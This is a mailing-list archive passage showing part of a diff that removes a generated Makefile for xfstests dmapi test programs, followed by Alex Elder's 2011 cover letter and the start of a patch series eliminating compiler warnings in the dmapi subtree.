$(LDADD) -test_bulkall_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -test_bulkattr_SOURCES =3D test_bulkattr.c -test_bulkattr_OBJECTS =3D test_bulkattr.$(OBJEXT) -test_bulkattr_LDADD =3D $(LDADD) -test_bulkattr_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -test_dmattr_SOURCES =3D test_dmattr.c -test_dmattr_OBJECTS =3D test_dmattr.$(OBJEXT) -test_dmattr_LDADD =3D $(LDADD) -test_dmattr_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -test_efault_SOURCES =3D test_efault.c -test_efault_OBJECTS =3D test_efault.$(OBJEXT) -test_efault_LDADD =3D $(LDADD) -test_efault_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -test_eventlist_SOURCES =3D test_eventlist.c -test_eventlist_OBJECTS =3D test_eventlist.$(OBJEXT) -test_eventlist_LDADD =3D $(LDADD) -test_eventlist_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -test_fileattr_SOURCES =3D test_fileattr.c -test_fileattr_OBJECTS =3D test_fileattr.$(OBJEXT) -test_fileattr_LDADD =3D $(LDADD) -test_fileattr_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -test_hole_SOURCES =3D test_hole.c -test_hole_OBJECTS =3D test_hole.$(OBJEXT) -test_hole_LDADD =3D $(LDADD) -test_hole_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.la -test_invis_SOURCES =3D test_invis.c -test_invis_OBJECTS =3D test_invis.$(OBJEXT) -test_invis_LDADD =3D $(LDADD) -test_invis_DEPENDENCIES =3D $(top_builddir)/src/common/lib/libdmtest.l= a -test_region_SOURCES =3D test_region.c -test_region_OBJECTS =3D test_region.$(OBJEXT) -test_region_LDADD =3D $(LDADD) -test_region_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -test_rights_SOURCES =3D test_rights.c -test_rights_OBJECTS =3D test_rights.$(OBJEXT) -test_rights_LDADD =3D $(LDADD) -test_rights_DEPENDENCIES =3D \ -=09$(top_builddir)/src/common/lib/libdmtest.la -DEFAULT_INCLUDES =3D -I. -I$(srcdir) -depcomp =3D $(SHELL) $(top_srcdir)/depcomp -am__depfiles_maybe =3D depfiles -COMPILE =3D $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAG= S) \ -=09$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -LTCOMPILE =3D $(LIBTOOL) --mode=3Dcompile --tag=3DCC $(CC) $(DEFS) \ -=09$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ -=09$(AM_CFLAGS) $(CFLAGS) -CCLD =3D $(CC) -LINK =3D $(LIBTOOL) --mode=3Dlink --tag=3DCC $(CCLD) $(AM_CFLAGS) $(CF= LAGS) \ -=09$(AM_LDFLAGS) $(LDFLAGS) -o $@ -SOURCES =3D dm_test_daemon.c invis_test.c mmap.c region_test.c \ -=09send_msg.c test_bulkall.c test_bulkattr.c test_dmattr.c \ -=09test_efault.c test_eventlist.c test_fileattr.c test_hole.c \ -=09test_invis.c test_region.c test_rights.c -DIST_SOURCES =3D dm_test_daemon.c invis_test.c mmap.c region_test.c \ -=09send_msg.c test_bulkall.c test_bulkattr.c test_dmattr.c \ -=09test_efault.c test_eventlist.c test_fileattr.c test_hole.c \ -=09test_invis.c test_region.c test_rights.c -ETAGS =3D etags -CTAGS =3D ctags -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ -INCLUDES =3D -I .. -LDADD =3D $(top_builddir)/src/common/lib/libdmtest.la -all: all-am - -.SUFFIXES: -.SUFFIXES: .c .lo .o .obj -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/suite2/src/Makefi= le'; \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/suite2/src/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -install-binPROGRAMS: $(bin_PROGRAMS) -=09@$(NORMAL_INSTALL) -=09test -z "$(bindir)" || $(mkdir_p) "$(DESTDIR)$(bindir)" -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 p1=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 if test -f $$p \ -=09 || test -f $$p1 \ -=09 ; then \ -=09 f=3D`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`= ; \ -=09 echo " $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binP= ROGRAMS_INSTALL) '$$p' '$(DESTDIR)$(bindir)/$$f'"; \ -=09 $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binPROGRAMS= _INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \ -=09 else :; fi; \ -=09done - -uninstall-binPROGRAMS: -=09@$(NORMAL_UNINSTALL) -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$= /$(EXEEXT)/'`; \ -=09 echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \ -=09 rm -f "$(DESTDIR)$(bindir)/$$f"; \ -=09done - -clean-binPROGRAMS: -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 echo " rm -f $$p $$f"; \ -=09 rm -f $$p $$f ; \ -=09done -dm_test_daemon$(EXEEXT): $(dm_test_daemon_OBJECTS) $(dm_test_daemon_DE= PENDENCIES)=20 -=09@rm -f dm_test_daemon$(EXEEXT) -=09$(LINK) $(dm_test_daemon_LDFLAGS) $(dm_test_daemon_OBJECTS) $(dm_te= st_daemon_LDADD) $(LIBS) -invis_test$(EXEEXT): $(invis_test_OBJECTS) $(invis_test_DEPENDENCIES)= =20 -=09@rm -f invis_test$(EXEEXT) -=09$(LINK) $(invis_test_LDFLAGS) $(invis_test_OBJECTS) $(invis_test_LD= ADD) $(LIBS) -mmap$(EXEEXT): $(mmap_OBJECTS) $(mmap_DEPENDENCIES)=20 -=09@rm -f mmap$(EXEEXT) -=09$(LINK) $(mmap_LDFLAGS) $(mmap_OBJECTS) $(mmap_LDADD) $(LIBS) -region_test$(EXEEXT): $(region_test_OBJECTS) $(region_test_DEPENDENCIE= S)=20 -=09@rm -f region_test$(EXEEXT) -=09$(LINK) $(region_test_LDFLAGS) $(region_test_OBJECTS) $(region_test= _LDADD) $(LIBS) -send_msg$(EXEEXT): $(send_msg_OBJECTS) $(send_msg_DEPENDENCIES)=20 -=09@rm -f send_msg$(EXEEXT) -=09$(LINK) $(send_msg_LDFLAGS) $(send_msg_OBJECTS) $(send_msg_LDADD) $= (LIBS) -test_bulkall$(EXEEXT): $(test_bulkall_OBJECTS) $(test_bulkall_DEPENDEN= CIES)=20 -=09@rm -f test_bulkall$(EXEEXT) -=09$(LINK) $(test_bulkall_LDFLAGS) $(test_bulkall_OBJECTS) $(test_bulk= all_LDADD) $(LIBS) -test_bulkattr$(EXEEXT): $(test_bulkattr_OBJECTS) $(test_bulkattr_DEPEN= DENCIES)=20 -=09@rm -f test_bulkattr$(EXEEXT) -=09$(LINK) $(test_bulkattr_LDFLAGS) $(test_bulkattr_OBJECTS) $(test_bu= lkattr_LDADD) $(LIBS) -test_dmattr$(EXEEXT): $(test_dmattr_OBJECTS) $(test_dmattr_DEPENDENCIE= S)=20 -=09@rm -f test_dmattr$(EXEEXT) -=09$(LINK) $(test_dmattr_LDFLAGS) $(test_dmattr_OBJECTS) $(test_dmattr= _LDADD) $(LIBS) -test_efault$(EXEEXT): $(test_efault_OBJECTS) $(test_efault_DEPENDENCIE= S)=20 -=09@rm -f test_efault$(EXEEXT) -=09$(LINK) $(test_efault_LDFLAGS) $(test_efault_OBJECTS) $(test_efault= _LDADD) $(LIBS) -test_eventlist$(EXEEXT): $(test_eventlist_OBJECTS) $(test_eventlist_DE= PENDENCIES)=20 -=09@rm -f test_eventlist$(EXEEXT) -=09$(LINK) $(test_eventlist_LDFLAGS) $(test_eventlist_OBJECTS) $(test_= eventlist_LDADD) $(LIBS) -test_fileattr$(EXEEXT): $(test_fileattr_OBJECTS) $(test_fileattr_DEPEN= DENCIES)=20 -=09@rm -f test_fileattr$(EXEEXT) -=09$(LINK) $(test_fileattr_LDFLAGS) $(test_fileattr_OBJECTS) $(test_fi= leattr_LDADD) $(LIBS) -test_hole$(EXEEXT): $(test_hole_OBJECTS) $(test_hole_DEPENDENCIES)=20 -=09@rm -f test_hole$(EXEEXT) -=09$(LINK) $(test_hole_LDFLAGS) $(test_hole_OBJECTS) $(test_hole_LDADD= ) $(LIBS) -test_invis$(EXEEXT): $(test_invis_OBJECTS) $(test_invis_DEPENDENCIES)= =20 -=09@rm -f test_invis$(EXEEXT) -=09$(LINK) $(test_invis_LDFLAGS) $(test_invis_OBJECTS) $(test_invis_LD= ADD) $(LIBS) -test_region$(EXEEXT): $(test_region_OBJECTS) $(test_region_DEPENDENCIE= S)=20 -=09@rm -f test_region$(EXEEXT) -=09$(LINK) $(test_region_LDFLAGS) $(test_region_OBJECTS) $(test_region= _LDADD) $(LIBS) -test_rights$(EXEEXT): $(test_rights_OBJECTS) $(test_rights_DEPENDENCIE= S)=20 -=09@rm -f test_rights$(EXEEXT) -=09$(LINK) $(test_rights_LDFLAGS) $(test_rights_OBJECTS) $(test_rights= _LDADD) $(LIBS) - -mostlyclean-compile: -=09-rm -f *.$(OBJEXT) - -distclean-compile: -=09-rm -f *.tab.c - -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dm_test_daemon.Po@am_= _quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/invis_test.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/mmap.Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/region_test.Po@am__qu= ote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/send_msg.Po@am__quote= @ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_bulkall.Po@am__q= uote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_bulkattr.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_dmattr.Po@am__qu= ote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_efault.Po@am__qu= ote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_eventlist.Po@am_= _quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_fileattr.Po@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_hole.Po@am__quot= e@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_invis.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_region.Po@am__qu= ote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/test_rights.Po@am__qu= ote@ - -.c.o: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c $< - -.c.obj: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c `$(CYGPATH_W) '$<'` - -.c.lo: -@am__fastdepCC_TRUE@=09if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$= *.Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo= "; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dyes @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(LTCOMPILE) -c -o $@ $< - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-am -all-am: Makefile $(PROGRAMS) -installdirs: -=09for dir in "$(DESTDIR)$(bindir)"; do \ -=09 test -z "$$dir" || $(mkdir_p) "$$dir"; \ -=09done -install: install-am -install-exec: install-exec-am -install-data: install-data-am -uninstall: uninstall-am - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-am -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-am - -clean-am: clean-binPROGRAMS clean-generic clean-libtool mostlyclean-am - -distclean: distclean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -distclean-am: clean-am distclean-compile distclean-generic \ -=09distclean-libtool distclean-tags - -dvi: dvi-am - -dvi-am: - -html: html-am - -info: info-am - -info-am: - -install-data-am: - -install-exec-am: install-binPROGRAMS - -install-info: install-info-am - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-am - -mostlyclean-am: mostlyclean-compile mostlyclean-generic \ -=09mostlyclean-libtool - -pdf: pdf-am - -pdf-am: - -ps: ps-am - -ps-am: - -uninstall-am: uninstall-binPROGRAMS uninstall-info-am - -.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS = \ -=09clean-generic clean-libtool ctags distclean distclean-compile \ -=09distclean-generic distclean-libtool distclean-tags distdir dvi \ -=09dvi-am html html-am info info-am install install-am \ -=09install-binPROGRAMS install-data install-data-am install-exec \ -=09install-exec-am install-info install-info-am install-man \ -=09install-strip installcheck installcheck-am installdirs \ -=09maintainer-clean maintainer-clean-generic mostlyclean \ -=09mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ -=09pdf pdf-am ps ps-am tags uninstall uninstall-am \ -=09uninstall-binPROGRAMS uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: From aelder@sgi.com Fri Mar 4 13:35:03 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JZ3Hf184560 for ; Fri, 4 Mar 2011 13:35:03 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay2.corp.sgi.com (Postfix) with ESMTP id 320C430408D; Fri, 4 Mar 2011 11:37:52 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24JbqWZ004836; Fri, 4 Mar 2011 13:37:52 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24Jbpgh004834; Fri, 4 Mar 2011 13:37:51 -0600 From: Alex Elder Message-Id: <201103041937.p24Jbpgh004834@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:37:51 -0600 To: xfs@oss.sgi.com Subject: [PATCH 0/5] xfstests: eliminate build warnings in the "dmapi" subtree User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Now that we're building the "dmapi" subtree the same way as the rest of the code in "xfstests", a lot of warnings are showing up in the build. This series eliminates them all, at least for three build architectures I have used so far (i386, x86_64, and ia64). Because of the sheer number of changes, I've broken it into a small series, each focused on files under a certain portion of the tree under "dmapi". Below are the types of warnings, and how they were generally fixed. In all cases I scanned the affected code to be reasonably sure the warning was harmless and the fix did not obscure a real problem. - Variables possibly used before set. Fixed by initializing such variables to 0 or NULL, or some appropriate symbolic value if available. - "Bald" assignments used as conditional values; GCC suggests adding an extra set of parentheses. Fixed by pulling the assignments out as a previous line of code, and using the assigned value alone in the conditional. - Variables used in scanf() functions having types that differ from what the format string indicates. Fixed by creating and using new variables of the type needed for scanf(), and then assigning the result to the original variable with a cast. - Variables used in printf() functions having types that differ from what the format string indicates. Fixed by casting the variable to the type indicated in the format string. In a few cases I changed "%lld" formats to "%llu" to be consistent with other usage for printing the same variable. (But I did not do this consistently.) - A lot of these cases involved using "%zd" in place of just "%d" for printing size_t objects. - In one case, replaced a call to tmpnam() with an equivalent call to mkstmp() using a local variable. Patch 1 covers files under: dmapi/src/common/cmd/ dmapi/src/common/lib/ dmapi/src/sample_hsm/ dmapi/src/simple/ Patch 2 covers: dmapi/src/suite1/cmd/ (part 1) Patch 3 covers: dmapi/src/suite1/cmd/ (part 2) Patch 4 covers: dmapi/src/suite1/cmd/ (part 3) Patch 5 covers: dmapi/src/suite2/ -Alex From aelder@sgi.com Fri Mar 4 13:35:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.6 required=5.0 tests=BAYES_00,J_CHICKENPOX_63, J_CHICKENPOX_64,J_CHICKENPOX_66 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JZ5Sr184578 for ; Fri, 4 Mar 2011 13:35:05 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3A8208F8033; Fri, 4 Mar 2011 11:37:57 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24JbvJ4004844; Fri, 4 Mar 2011 13:37:57 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24Jbudi004842; Fri, 4 Mar 2011 13:37:57 -0600 From: Alex Elder Message-Id: <201103041937.p24Jbudi004842@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:37:56 -0600 To: xfs@oss.sgi.com Subject: [PATCH 1/5] xfstests: eliminate some warnings under dmapi/src User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Eliminate build warnings reported on files located under dmapi/src/common/cmd/, dmapi/src/common/lib/ dmapi/src/sample_hsm/ and dmapi/src/simple/. 